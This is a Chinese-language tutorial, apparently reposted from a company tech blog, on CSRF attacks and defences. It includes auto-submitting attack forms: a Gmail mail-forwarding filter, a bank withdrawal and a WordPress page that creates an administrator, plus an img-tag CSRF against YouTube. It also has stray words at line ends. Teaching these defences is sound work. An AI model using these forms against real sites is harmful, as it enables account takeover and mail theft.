相比XSS,CSRF的名氣彷佛並非那麼大,不少人都認爲CSRF「不那麼有破壞性」。真的是這樣嗎?javascript
接下來有請小明出場~~php
這一天,小明同窗百無聊賴地刷着Gmail郵件。大部分都是沒養分的通知、驗證碼、聊天記錄之類。但有一封郵件引發了小明的注意:html
甩賣比特幣,一個只要998!!前端
聰明的小明固然知道這種確定是騙子,但仍是抱着好奇的態度點了進去(請勿模仿)。果真,這只是一個什麼都沒有的空白頁面,小明失望的關閉了頁面。一切彷佛什麼都沒有發生……java
在這平靜的外表之下,黑客的攻擊已然得手。小明的Gmail中,被偷偷設置了一個過濾規則,這個規則使得全部的郵件都會被自動轉發到hacker@hackermail.com。小明還在繼續刷着郵件,卻不知他的郵件正在一封封地,如脫繮的野馬通常地,持續不斷地向着黑客的郵箱轉發而去。程序員
不久以後的一天,小明發現本身的域名已經被轉讓了。懵懂的小明覺得是域名到期本身忘了續費,直到有一天,對方開出了 $650 的贖回價碼,小明纔開始以爲不太對勁。web
小明仔細查了下域名的轉讓,對方是擁有本身的驗證碼的,而域名的驗證碼只存在於本身的郵箱裏面。小明回想起那天奇怪的連接,打開後從新查看了「空白頁」的源碼:ajax
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> <input type="hidden" name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> ..... <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> document.forms[0].submit(); </script>
這個頁面只要打開,就會向Gmail發送一個post請求。請求中,執行了「Create Filter」命令,將全部的郵件,轉發到「hacker@hackermail.com」。算法
小明因爲剛剛就登錄了Gmail,因此這個請求發送時,攜帶着小明的登陸憑證(Cookie),Gmail的後臺接收到請求,驗證了確實有小明的登陸憑證,因而成功給小明配置了過濾器。後端
黑客能夠查看小明的全部郵件,包括郵件裏的域名驗證碼等隱私信息。拿到驗證碼以後,黑客就能夠要求域名服務商把域名重置給本身。
小明很快打開Gmail,找到了那條過濾器,將其刪除。然而,已經泄露的郵件,已經被轉讓的域名,再也沒法挽回了……
以上就是小明的悲慘遭遇。而「點開一個黑客的連接,全部郵件都被竊取」這種事情並非杜撰的,此事件原型是2007年Gmail的CSRF漏洞:
https://www.davidairey.com/google-Gmail-security-hijack/
固然,目前此漏洞已被Gmail修復,請使用Gmail的同窗不要慌張。
CSRF(Cross-site request forgery)跨站請求僞造:攻擊者誘導受害者進入第三方網站,在第三方網站中,向被攻擊網站發送跨站請求。利用受害者在被攻擊網站已經獲取的註冊憑證,繞事後臺的用戶驗證,達到冒充用戶對被攻擊的網站執行某項操做的目的。
一個典型的CSRF攻擊有着以下的流程:
GET類型的CSRF
GET類型的CSRF利用很是簡單,只須要一個HTTP請求,通常會這樣利用:
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker)
在受害者訪問含有這個img的頁面後,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker
發出一次HTTP請求。bank.example就會收到包含受害者登陸信息的一次跨域請求。
POST類型的CSRF
這種類型的CSRF利用起來一般使用的是一個自動提交的表單,如:
<form action="http://bank.example/withdraw" method=POST> <input type="hidden" name="account" value="xiaoming" /> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="for" value="hacker" /> </form> <script> document.forms[0].submit(); </script>
訪問該頁面後,表單會自動提交,至關於模擬用戶完成了一次POST操做。
POST類型的攻擊一般比GET要求更加嚴格一點,但仍並不複雜。任何我的網站、博客,被黑客上傳頁面的網站都有多是發起攻擊的來源,後端接口不能將安全寄託在僅容許POST上面。
連接類型的CSRF
連接類型的CSRF並不常見,比起其餘兩種用戶打開頁面就中招的狀況,這種須要用戶點擊連接纔會觸發。這種類型一般是在論壇中發佈的圖片中嵌入惡意連接,或者以廣告的形式誘導用戶中招,攻擊者一般會以比較誇張的詞語誘騙用戶點擊,例如:
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 重磅消息!! <a/>
因爲以前用戶登陸了信任的網站A,而且保存登陸狀態,只要用戶主動訪問上面的這個PHP頁面,則表示攻擊成功。
CSRF一般是跨域的,由於外域一般更容易被攻擊者掌控。可是若是本域下有容易被利用的功能,好比能夠發圖和連接的論壇和評論區,攻擊能夠直接在本域下進行,並且這種攻擊更加危險。
CSRF一般從第三方網站發起,被攻擊的網站沒法防止攻擊發生,只能經過加強本身網站針對CSRF的防禦能力來提高安全性。
上文中講了CSRF的兩個特色:
針對這兩點,咱們能夠專門制定防禦策略,以下:
如下咱們對各類防禦方法作詳細說明。
既然CSRF大多來自第三方網站,那麼咱們就直接禁止外域(或者不受信任的域名)對咱們發起請求。
那麼問題來了,咱們如何判斷請求是否來自外域呢?
在HTTP協議中,每個異步請求都會攜帶兩個Header,用於標記來源域名:
這兩個Header在瀏覽器發起請求時,大多數狀況會自動帶上,而且不能由前端自定義內容。 服務器能夠經過解析這兩個Header中的域名,肯定請求的來源域。
在部分與CSRF有關的請求中,請求的Header中會攜帶Origin字段。字段內包含請求的域名(不包含path及query)。
若是Origin存在,那麼直接使用Origin中的字段確認來源域名就能夠。
可是Origin在如下兩種狀況下並不存在:
IE11同源策略: IE 11 不會在跨站CORS請求上添加Origin標頭,Referer頭將仍然是惟一的標識。最根本緣由是由於IE 11對同源的定義和其餘瀏覽器有不一樣,有兩個主要的區別,能夠參考MDN Same-origin_policy#IE_Exceptions
302重定向: 在302重定向以後Origin不包含在重定向的請求中,由於Origin可能會被認爲是其餘來源的敏感信息。對於302重定向的狀況來講都是定向到新的服務器上的URL,所以瀏覽器不想將Origin泄漏到新的服務器上。
根據HTTP協議,在HTTP頭中有一個字段叫Referer,記錄了該HTTP請求的來源地址。 對於Ajax請求,圖片和script等資源請求,Referer爲發起請求的頁面地址。對於頁面跳轉,Referer爲打開頁面歷史記錄的前一個頁面地址。所以咱們使用Referer中連接的Origin部分能夠得知請求的來源域名。
這種方法並不是萬無一失,Referer的值是由瀏覽器提供的,雖然HTTP協議上有明確的要求,可是每一個瀏覽器對於Referer的具體實現可能有差異,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來說,這樣並非很安全。在部分狀況下,攻擊者能夠隱藏,甚至修改本身請求的Referer。
2014年,W3C的Web應用安全工做組發佈了Referrer Policy草案,對瀏覽器該如何發送Referer作了詳細的規定。截止如今新版瀏覽器大部分已經支持了這份草案,咱們終於能夠靈活地控制本身網站的Referer策略了。新版的Referrer Policy規定了五種Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。以前就存在的三種策略:never、default和always,在新標準裏換了個名稱。他們的對應關係以下:
策略名稱 | 屬性值(新) | 屬性值(舊) |
---|---|---|
No Referrer | no-Referrer | never |
No Referrer When Downgrade | no-Referrer-when-downgrade | default |
Origin Only | (same or strict) origin | origin |
Origin When Cross Origin | (strict) origin-when-crossorigin | - |
Unsafe URL | unsafe-url | always |
根據上面的表格所以須要把Referrer Policy的策略設置成same-origin,對於同源的連接和引用,會發送Referer,referer值爲Host不帶Path;跨域訪問則不攜帶Referer。例如:aaa.com
引用bbb.com
的資源,不會發送Referer。
設置Referrer Policy的方法有三種:
上面說的這些比較多,但咱們能夠知道一個問題:攻擊者能夠在本身的請求中隱藏Referer。若是攻擊者將本身的請求這樣填寫:
![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker)
那麼這個請求發起的攻擊將不攜帶Referer。
另外在如下狀況下Referer沒有或者不可信:
當Origin和Referer頭文件不存在時該怎麼辦?若是Origin和Referer都不存在,建議直接進行阻止,特別是若是您沒有使用隨機CSRF Token(參考下方)做爲第二次檢查。
經過Header的驗證,咱們能夠知道發起請求的來源域名,這些來源域名多是網站本域,或者子域名,或者有受權的第三方域名,又或者來自不可信的未知域名。
咱們已經知道了請求域名是不是來自不可信的域名,咱們直接阻止掉這些的請求,就能防護CSRF攻擊了嗎?
且慢!當一個請求是頁面請求(好比網站的主頁),而來源是搜索引擎的連接(例如百度的搜索結果),也會被當成疑似CSRF攻擊。因此在判斷的時候須要過濾掉頁面請求狀況,一般Header符合如下狀況:
Accept: text/html
Method: GET
但相應的,頁面請求就暴露在了CSRF的攻擊範圍之中。若是你的網站中,在頁面的GET請求中對當前用戶作了什麼操做的話,防範就失效了。
例如,下面的頁面請求:
GET https://example.com/addComment?comment=XXX&dest=orderId
注:這種嚴格來講並不必定存在CSRF攻擊的風險,但仍然有不少網站常常把主文檔GET請求掛上參數來實現產品功能,可是這樣作對於自身來講是存在安全風險的。
另外,前面說過,CSRF大多數狀況下來自第三方域名,但並不能排除本域發起。若是攻擊者有權限在本域發佈評論(含連接、圖片等,統稱UGC),那麼它能夠直接在本域發起攻擊,這種狀況下同源策略沒法達到防禦的做用。
綜上所述:同源驗證是一個相對簡單的防範方法,可以防範絕大多數的CSRF攻擊。但這並非萬無一失的,對於安全性要求較高,或者有較多用戶輸入內容的網站,咱們就要對關鍵的接口作額外的防禦措施。
前面講到CSRF的另外一個特徵是,攻擊者沒法直接竊取到用戶的信息(Cookie,Header,網站內容等),僅僅是冒用Cookie中的信息。
而CSRF攻擊之因此可以成功,是由於服務器誤把攻擊者發送的請求當成了用戶本身的請求。那麼咱們能夠要求全部的用戶請求都攜帶一個CSRF攻擊者沒法獲取到的Token。服務器經過校驗請求是否攜帶正確的Token,來把正常的請求和攻擊的請求區分開,也能夠防範CSRF的攻擊。
CSRF Token的防禦策略分爲三個步驟:
1. 將CSRF Token輸出到頁面中
首先,用戶打開頁面的時候,服務器須要給這個用戶生成一個Token,該Token經過加密算法對數據進行加密,通常Token都包括隨機字符串和時間戳的組合,顯然在提交時Token不能再放在Cookie中了,不然又會被攻擊者冒用。所以,爲了安全起見Token最好仍是存在服務器的Session中,以後在每次頁面加載時,使用JS遍歷整個DOM樹,對於DOM中全部的a和form標籤後加入Token。這樣能夠解決大部分的請求,可是對於在頁面加載以後動態生成的HTML代碼,這種方法就沒有做用,還須要程序員在編碼時手動添加Token。
2. 頁面提交的請求攜帶這個Token
對於GET請求,Token將附在請求地址以後,這樣URL 就變成 http://url?csrftoken=tokenvalue。 而對於 POST 請求來講,要在 form 的最後加上:
<input type=」hidden」 name=」csrftoken」 value=」tokenvalue」/>
這樣,就把Token以參數的形式加入請求了。
3. 服務器驗證Token是否正確
當用戶從客戶端獲得了Token,再次提交給服務器的時候,服務器須要判斷Token的有效性,驗證過程是先解密Token,對比加密字符串以及時間戳,若是加密字符串一致且時間未過時,那麼這個Token就是有效的。
這種方法要比以前檢查Referer或者Origin要安全一些,Token能夠在產生並放於Session之中,而後在每次請求時把Token從Session中拿出,與請求中的Token進行比對,但這種方法的比較麻煩的在於如何把Token以參數的形式加入請求。
下面將以Java爲例,介紹一些CSRF Token的服務端校驗邏輯,代碼以下:
HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession(); // 從 session 中獲得 csrftoken 屬性 String sToken = (String)s.getAttribute(「csrftoken」); if(sToken == null){ // 產生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(「csrftoken」,sToken); chain.doFilter(request, response); } else{ // 從 HTTP 頭中取得 csrftoken String xhrToken = req.getHeader(「csrftoken」); // 從請求參數中取得 csrftoken String pToken = req.getParameter(「csrftoken」); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(「error.jsp」).forward(request,response); } }
這個Token的值必須是隨機生成的,這樣它就不會被攻擊者猜到,考慮利用Java應用程序的java.security.SecureRandom類來生成足夠長的隨機標記,替代生成算法包括使用256位BASE64編碼哈希,選擇這種生成算法的開發人員必須確保在散列數據中使用隨機性和惟一性來生成隨機標識。一般,開發人員只需爲當前會話生成一次Token。在初始生成此Token以後,該值將存儲在會話中,並用於每一個後續請求,直到會話過時。當最終用戶發出請求時,服務器端必須驗證請求中Token的存在性和有效性,與會話中找到的Token相比較。若是在請求中找不到Token,或者提供的值與會話中的值不匹配,則應停止請求,應重置Token並將事件記錄爲正在進行的潛在CSRF攻擊。
在大型網站中,使用Session存儲CSRF Token會帶來很大的壓力。訪問單臺服務器session是同一個。可是如今的大型網站中,咱們的服務器一般不止一臺,多是幾十臺甚至幾百臺之多,甚至多個機房均可能在不一樣的省份,用戶發起的HTTP請求一般要通過像Ngnix之類的負載均衡器以後,再路由到具體的服務器上,因爲Session默認存儲在單機服務器內存中,所以在分佈式環境下同一個用戶發送的屢次HTTP請求可能會前後落到不一樣的服務器上,致使後面發起的HTTP請求沒法拿到以前的HTTP請求存儲在服務器中的Session數據,從而使得Session機制在分佈式環境下失效,所以在分佈式集羣中CSRF Token須要存儲在Redis之類的公共存儲空間。
因爲使用Session存儲,讀取和驗證CSRF Token會引發比較大的複雜度和性能問題,目前不少網站採用Encrypted Token Pattern方式。這種方法的Token是一個計算出來的結果,而非隨機生成的字符串。這樣在校驗時無需再去讀取存儲的Token,只用再次計算一次便可。
這種Token的值一般是使用UserID、時間戳和隨機數,經過加密的方法生成。這樣既能夠保證分佈式服務的Token一致,又能保證Token不容易被破解。
在token解密成功以後,服務器能夠訪問解析值,Token中包含的UserID和時間戳將會被拿來被驗證有效性,將UserID與當前登陸的UserID進行比較,並將時間戳與當前時間進行比較。
Token是一個比較有效的CSRF防禦方法,只要頁面沒有XSS漏洞泄露Token,那麼接口的CSRF攻擊就沒法成功。
可是此方法的實現比較複雜,須要給每個頁面都寫入Token(前端沒法使用純靜態頁面),每個Form及Ajax請求都攜帶這個Token,後端對每個接口都進行校驗,並保證頁面Token及請求Token一致。這就使得這個防禦策略不能在通用的攔截上統一攔截處理,而須要每個頁面和接口都添加對應的輸出和校驗。這種方法工做量巨大,且有可能遺漏。
驗證碼和密碼其實也能夠起到CSRF Token的做用哦,並且更安全。
爲何不少銀行等網站會要求已經登陸的用戶在轉帳時再次輸入密碼,如今是否是有必定道理了?
在會話中存儲CSRF Token比較繁瑣,並且不能在通用的攔截上統一處理全部的接口。
那麼另外一種防護措施是使用雙重提交Cookie。利用CSRF攻擊不能獲取到用戶Cookie的特色,咱們能夠要求Ajax和表單請求攜帶一個Cookie中的值。
雙重Cookie採用如下流程:
csrfcookie=v8g9e4ksfhw
)。POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw
)。此方法相對於CSRF Token就簡單了許多。能夠直接經過先後端攔截的的方法自動化實現。後端校驗也更加方便,只需進行請求中字段的對比,而不須要再進行查詢和存儲Token。
固然,此方法並無大規模應用,其在大型網站上的安全性仍是沒有CSRF Token高,緣由咱們舉例進行說明。
因爲任何跨域都會致使前端沒法獲取Cookie中的字段(包括子域名之間),因而發生了以下狀況:
www.a.com
,然後端的api域名爲api.a.com
。那麼在www.a.com
下,前端拿不到api.a.com
的Cookie,也就沒法完成雙重Cookie認證。a.com
下,這樣每一個子域均可以訪問。a.com
下的Cookie。upload.a.com
)。雖然這個子域下並無什麼值得竊取的信息。但攻擊者修改了a.com
下的Cookie。www.a.com
下,發起CSRF攻擊。用雙重Cookie防護CSRF的優勢:
缺點:
防止CSRF攻擊的辦法已經有上面的預防措施。爲了從源頭上解決這個問題,Google起草了一份草案來改進HTTP協議,那就是爲Set-Cookie響應頭新增Samesite屬性,它用來標明這個 Cookie是個「同站 Cookie」,同站Cookie只能做爲第一方Cookie,不能做爲第三方Cookie,Samesite 有兩個屬性值,分別是 Strict 和 Lax,下面分別講解:
這種稱爲嚴格模式,代表這個 Cookie 在任何狀況下都不可能做爲第三方 Cookie,絕無例外。好比說 b.com 設置了以下 Cookie:
Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3
咱們在 a.com 下發起對 b.com 的任意請求,foo 這個 Cookie 都不會被包含在 Cookie 請求頭中,但 bar 會。舉個實際的例子就是,假如淘寶網站用來識別用戶登陸與否的 Cookie 被設置成了 Samesite=Strict,那麼用戶從百度搜索頁面甚至天貓頁面的連接點擊進入淘寶後,淘寶都不會是登陸狀態,由於淘寶的服務器不會接受到那個 Cookie,其它網站發起的對淘寶的任意請求都不會帶上那個 Cookie。
這種稱爲寬鬆模式,比 Strict 放寬了點限制:假如這個請求是這種請求(改變了當前頁面或者打開了新頁面)且同時是個GET請求,則這個Cookie能夠做爲第三方Cookie。好比說 b.com設置了以下Cookie:
Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3
當用戶從 a.com 點擊連接進入 b.com 時,foo 這個 Cookie 不會被包含在 Cookie 請求頭中,但 bar 和 baz 會,也就是說用戶在不一樣網站之間經過連接跳轉是不受影響了。但假如這個請求是從 a.com 發起的對 b.com 的異步請求,或者頁面跳轉是經過表單的 post 提交觸發的,則bar也不會發送。
生成Token放到Cookie中而且設置Cookie的Samesite,Java代碼以下:
private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) { //生成token String sToken = this.generateToken(); //手動添加Cookie實現支持「Samesite=strict」 //Cookie添加雙重驗證 String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI()); httpResponse.addHeader("Set-Cookie", CookieSpec); httpResponse.setHeader(CSRF_TOKEN_NAME, token); }
代碼源自OWASP Cross-Site_Request_Forgery #Implementation example
若是SamesiteCookie被設置爲Strict,瀏覽器在任何跨域請求中都不會攜帶Cookie,新標籤從新打開也不攜帶,因此說CSRF攻擊基本沒有機會。
可是跳轉子域名或者是新標籤從新打開剛登錄的網站,以前的Cookie都不會存在。尤爲是有登陸的網站,那麼咱們新打開一個標籤進入,或者跳轉到子域名的網站,都須要從新登陸。對於用戶來說,可能體驗不會很好。
若是SamesiteCookie被設置爲Lax,那麼其餘網站經過頁面跳轉過來的時候可使用Cookie,能夠保障外域鏈接打開頁面時用戶的登陸狀態。但相應的,其安全性也比較低。
另一個問題是Samesite的兼容性不是很好,現階段除了重新版Chrome和Firefox支持之外,Safari以及iOS Safari都還不支持,現階段看來暫時還不能普及。
並且,SamesiteCookie目前有一個致命的缺陷:不支持子域。例如,種在topic.a.com下的Cookie,並不能使用a.com下種植的SamesiteCookie。這就致使了當咱們網站有多個子域名時,不能使用SamesiteCookie在主域名存儲用戶登陸信息。每一個子域名都須要用戶從新登陸一次。
總之,SamesiteCookie是一個可能替代同源驗證的方案,但目前還並不成熟,其應用場景有待觀望。
前面所說的,都是被攻擊的網站如何作好防禦。而非防止攻擊的發生,CSRF的攻擊能夠來自:
對於來自黑客本身的網站,咱們沒法防禦。但對其餘狀況,那麼如何防止本身的網站被利用成爲攻擊的源頭呢?
X-Content-Type-Options: nosniff
防止黑客上傳HTML內容的資源(例如圖片)被解析爲網頁。對於一線的程序員同窗,咱們能夠經過各類防禦策略來防護CSRF,對於QA、SRE、安全負責人等同窗,咱們能夠作哪些事情來提高安全性呢?
CSRFTester是一款CSRF漏洞的測試工具,CSRFTester工具的測試原理大概是這樣的,使用代理抓取咱們在瀏覽器中訪問過的全部的鏈接以及全部的表單等信息,經過在CSRFTester中修改相應的表單等信息,從新提交,至關於一次僞造客戶端請求,若是修改後的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,固然此款工具也能夠被用來進行CSRF攻擊。 CSRFTester使用方法大體分下面幾個步驟:
步驟1:設置瀏覽器代理
CSRFTester默認使用Localhost上的端口8008做爲其代理,若是代理配置成功,CSRFTester將爲您的瀏覽器生成的全部後續HTTP請求生成調試消息。
步驟2:使用合法帳戶訪問網站開始測試
咱們須要找到一個咱們想要爲CSRF測試的特定業務Web頁面。找到此頁面後,選擇CSRFTester中的「開始錄製」按鈕並執行業務功能;完成後,點擊CSRFTester中的「中止錄製」按鈕;正常狀況下,該軟件會所有遍歷一遍當前頁面的全部請求。
步驟3:經過CSRF修改並僞造請求
以後,咱們會發現軟件上有一系列跑出來的記錄請求,這些都是咱們的瀏覽器在執行業務功能時生成的全部GET或者POST請求。經過選擇列表中的某一行,咱們如今能夠修改用於執行業務功能的參數,能夠經過點擊對應的請求修改query和form的參數。當修改完全部咱們但願誘導用戶form最終的提交值,能夠選擇開始生成HTML報告。
步驟4:拿到結果若有漏洞進行修復
首先必須選擇「報告類型」。報告類型決定了咱們但願受害者瀏覽器如何提交先前記錄的請求。目前有5種可能的報告:表單、iFrame、IMG、XHR和連接。一旦選擇了報告類型,咱們能夠選擇在瀏覽器中啓動新生成的報告,最後根據報告的狀況進行對應的排查和修復。
對於一個比較複雜的網站系統,某些項目、頁面、接口漏掉了CSRF防禦措施是極可能的。
一旦發生了CSRF攻擊,咱們如何及時的發現這些攻擊呢?
CSRF攻擊有着比較明顯的特徵:
咱們能夠在網站的代理層監控全部的接口請求,若是請求符合上面的特徵,就能夠認爲請求有CSRF攻擊嫌疑。咱們能夠提醒對應的頁面和項目負責人,檢查或者 Review其CSRF防禦策略。
常常上網的我的用戶,能夠採用如下方法來保護本身:
簡單總結一下上文的防禦策略:
爲了更好的防護CSRF,最佳實踐應該是結合上面總結的防護措施方式中的優缺點來綜合考慮,結合當前Web應用程序自身的狀況作合適的選擇,才能更好的預防CSRF的發生。
2012年3月份,WordPress發現了一個CSRF漏洞,影響了WordPress 3.3.1版本,WordPress是衆所周知的博客平臺,該漏洞能夠容許攻擊者修改某個Post的標題,添加管理權限用戶以及操做用戶帳戶,包括但不限於刪除評論、修改頭像等等。具體的列表以下:
那麼這個漏洞實際上就是攻擊者引導用戶先進入目標的WordPress,而後點擊其釣魚站點上的某個按鈕,該按鈕其實是表單提交按鈕,其會觸發表單的提交工做,添加某個具備管理員權限的用戶,實現的碼以下:
<html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to add Administrator</H2> <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> <input type="hidden" name="action" value="createuser"/> <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> <input type="hidden" name="user_login" value="admin2"/> <input type="hidden" name="email" value="admin2@admin.com"/> <input type="hidden" name="first_name" value="admin2@admin.com"/> <input type="hidden" name="last_name" value=""/> <input type="hidden" name="url" value=""/> <input type="hidden" name="pass1" value="password"/> <input type="hidden" name="pass2" value="password"/> <input type="hidden" name="role" value="administrator"/> <input type="hidden" name="createuser" value="Add+New+User+"/> </form> </body> </html>
2008年,有安全研究人員發現,YouTube上幾乎全部用戶能夠操做的動做都存在CSRF漏洞。若是攻擊者已經將視頻添加到用戶的「Favorites」,那麼他就能將他本身添加到用戶的「Friend」或者「Family」列表,以用戶的身份發送任意的消息,將視頻標記爲不宜的,自動經過用戶的聯繫人來共享一個視頻。例如,要把視頻添加到用戶的「Favorites」,攻擊者只需在任何站點上嵌入以下所示的IMG標籤:
<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_ id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>
攻擊者也許已經利用了該漏洞來提升視頻的流行度。例如,將一個視頻添加到足夠多用戶的「Favorites」,YouTube就會把該視頻做爲「Top Favorites」來顯示。除提升一個視頻的流行度以外,攻擊者還能夠致使用戶在絕不知情的狀況下將一個視頻標記爲「不宜的」,從而致使YouTube刪除該視頻。
這些攻擊還可能已被用於侵犯用戶隱私。YouTube容許用戶只讓朋友或親屬觀看某些視頻。這些攻擊會致使攻擊者將其添加爲一個用戶的「Friend」或「Family」列表,這樣他們就可以訪問全部本來只限於好友和親屬表中的用戶觀看的私人的視頻。
攻擊者還能夠經過用戶的全部聯繫人名單(「Friends」、「Family」等等)來共享一個視頻,「共享」就意味着發送一個視頻的連接給他們,固然還能夠選擇附加消息。這條消息中的連接已經並非真正意義上的視頻連接,而是一個具備攻擊性的網站連接,用戶頗有可能會點擊這個連接,這便使得該種攻擊可以進行病毒式的傳播。
原文連接:https://tech.meituan.com/2018/10/11/fe-security-csrf.html